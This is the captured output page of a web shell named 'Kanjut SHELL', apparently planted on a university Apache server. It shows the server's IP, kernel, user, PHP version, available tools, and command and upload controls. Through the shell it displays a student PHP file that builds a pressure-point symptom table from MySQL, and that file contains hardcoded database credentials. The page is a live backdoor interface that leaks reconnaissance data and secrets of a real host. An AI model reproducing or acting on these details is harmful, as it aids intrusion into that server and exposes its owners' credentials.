Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.226.248.88
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/zwang/.nautilus/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/zwang/.nautilus/../FullView.php
<HEAD> This is a full display of all the pressure points. <BR>To read the chart please read left to right starting with step 
1.<BR><B><I> ALWAYS</I></B> start with the less painful side then progess to the more  painful side.<BR> The name of the symptoms are listed on the farthest 
left in the table followed by the proper steps to fix that symptom to its right.<BR> By clicking on the point you will be redirected in a new window on how to perform 
the procedure for the pressure point.<BR> After finishing the step, please close the window, and continue with the next step. Fully complete all the steps given before 
moving onto another symptom.<BR> Enjoy! <BR>

<link rel="stylesheet" 
type="text/css" 
href="Hisstyles.css"></HEAD> <BODY> <?php 

$host = localhost;
$user = bnhans;
$pass = cs480;
$database = bnhans;
$query = "Select * From ProjectDatabase2";

function Tablemake($host, $user, $pass, $database, $query) // This function will make tables for you, just supply the 5 variables
{
    $connect = mysqli_connect($host, $user, $pass);

    mysqli_select_db($connect, $database);

    $result = mysqli_query($connect, $query);

    $result2 = mysqli_query($connect, $query);

//    if ($result)

//    {

        $max = 0;

        while ($row = mysqli_fetch_array($result, MYSQLI_NUM))

        {
            for ($m = 0; $m < 18; $m++)
            {
                if ($row[$m] !== "NULL")
                    $tmax = $m;
            }
            if ($tmax > $max)
                $max = $tmax + 1;
        }
        print "<TABLE BORDER=1>";   
                print "<th>Symptom";
        for ($i = 1; $i < $max; $i++)
                        print "<th>Step $i";
        while ($row2 = mysqli_fetch_array($result2, MYSQLI_NUM))
        {
            print "<tr>";
            print "<td><b><CENTER>$row2[0]</CENTER></b></td>";
            for ($j = 1; $j <18; $j++)
            {
                if ($j < $max)
                {
                    if ( $row2[$j] !== "NULL")
                    {
                        $linknum = $j + 17;
                        $link = $row2[$linknum];
                        $point = $row2[$j];
                        print "<td><CENTER><A href=$link target=_blank> $point </A></CENTER></td>";    
                    }
                    else
                    {
                        print "<td><center>-</center></td>";
                    }

                }

            }
            print "</tr>";
        }        
    print "</TABLE>";
//    }
}
Tablemake($host, $user, $pass, $database, $query);

?>
</BODY>



Stv3n404 - 2023